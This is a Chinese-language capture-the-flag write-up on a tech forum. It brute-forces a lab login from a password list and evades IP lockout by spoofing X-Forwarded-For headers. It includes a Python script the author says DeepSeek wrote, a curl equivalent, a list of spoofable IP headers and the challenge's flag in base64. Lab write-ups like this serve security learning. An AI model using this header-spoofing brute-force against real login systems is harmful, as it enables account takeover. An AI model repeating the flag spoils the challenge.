iT邦幫忙

0

cylab-web-CracktheGate2

  • 分享至 

  • xImage
  •  

https://ithelp.ithome.com.tw/upload/images/20261023/20184829LrXYiL52NZ.png

這題要我們對 ctf-player@cylabacademy.org 這個信箱將passwords.txt內的密碼都試一遍正確就能拿到flag

不過這題密碼給的不多你要試完一個錯了在restart再試也是可以拿到flag啦不過我不是這樣做的

-----------分隔線-----------
這題是這樣的->你測試密碼->錯了->鎖20分鐘->port時間到->gg

題目給的訊息:The login system has been upgraded with a basic rate-limiting mechanism that locks out repeated failed attempts from the same source.

代表它是鎖ip,根據CracktheGate1我推測這題也是考動態ip,所以我對deepseek下了這個提示

寫一個腳本 登入http://chatelaine.cylabacademy.net:<port>/ 帳號 ctf-player@cylabacademy.org密碼在password.txt但我不確定是哪個密碼要一個一個試 每試一個換一個ip因為登入失敗要等所以用動態ip

deepseek:

import requests

URL = "http://xebec.cylabacademy.net:<port>/login"
EMAIL = "ctf-player@cylabacademy.org"

s = requests.Session()
for i, pw in enumerate(open("passwords.txt").read().split(), 1):
    h = {"X-Forwarded-For": f"10.0.{i // 256}.{i % 256}"}
    r = s.post(URL, json={"email": EMAIL, "password": pw}, headers=h)
    try:
        d = r.json()
    except ValueError:
        print(i, pw, r.status_code, r.text[:120]); continue
    print(i, pw, r.status_code, d)
    if d.get("success"):
        print("FLAG:", d.get("flag"))
        break

這邊要注意url後面要/login不然會報錯
執行結果:
https://ithelp.ithome.com.tw/upload/images/20261023/20184829K2Fjil14Z7.png

先把flagbase64給你們:YWNhZGVteXt4ZmZfYnlwNHNzX2JydXQzX2JjNDRmM2I3fQ==
自己做做看吧0.0

----下面是補充----
我先把抓下來得js貼上來

    <script>
        document.getElementById('loginForm').addEventListener('submit', function(event) {
            event.preventDefault();

            const formData = {
                email: document.getElementById('email').value,
                password: document.getElementById('password').value
            };

            fetch('/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(formData)
            })
            .then(response => response.json())
            .then(data => {
    console.log(data);
    if (data.success) {
        prompt('Login successful!\nFlag:', data.flag);
    } else if (data.error) {
        alert(data.error);
    } else {
        alert('Invalid credentials');
    }
})

            .catch(error => console.error('Error:', error));
        });
    </script>

重點是這段

fetch('/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(formData)
            })

這解釋了為什麼url後面要/login
也告訴解題腳本要回傳的json格式有兩個物件

pseudo code:
对每个密码 pw_i:
生成唯一伪造 IP_i
POST /login {email, password: pw_i} + X-Forwarded-For: IP_i
解析 JSON
如果 success → 打印 flag,退出

最後講一下重點這題的偽造ip
h = {"X-Forwarded-For": f"10.0.{i // 256}.{i % 256}"}
意思是我們把標頭從10.0.0.0一直換換到最後理論上是10.0.255.255可以試65535次

如果我們把腳本轉成bash指令會像這樣

curl -i -X POST http://xebec.cylabacademy.net:<port>/login \
  -H 'Content-Type: application/json' \
  -H 'X-Forwarded-For: 10.0.0.0' \ #你的標頭
  -d '{"email":"ctf-player@cylabacademy.org","password":"..."}'

---解題tips---

找端点/格式 → 驗證能打中的登錄邏輯 → 確認限速類型
→ 換IP → 換session → 換帳號 → 组合拳
→ 找到生效维度 → 測域值/窗口/併發
→ 確認成功響應特徵 → 自動化

常見header
X-Forwarded-For
X-Real-IP
X-Client-IP
X-Originating-IP
X-Remote-Addr
X-Remote-IP
Forwarded: for=...
True-Client-IP
CF-Connecting-IP

歡迎"友善"提問和討論0.0


圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言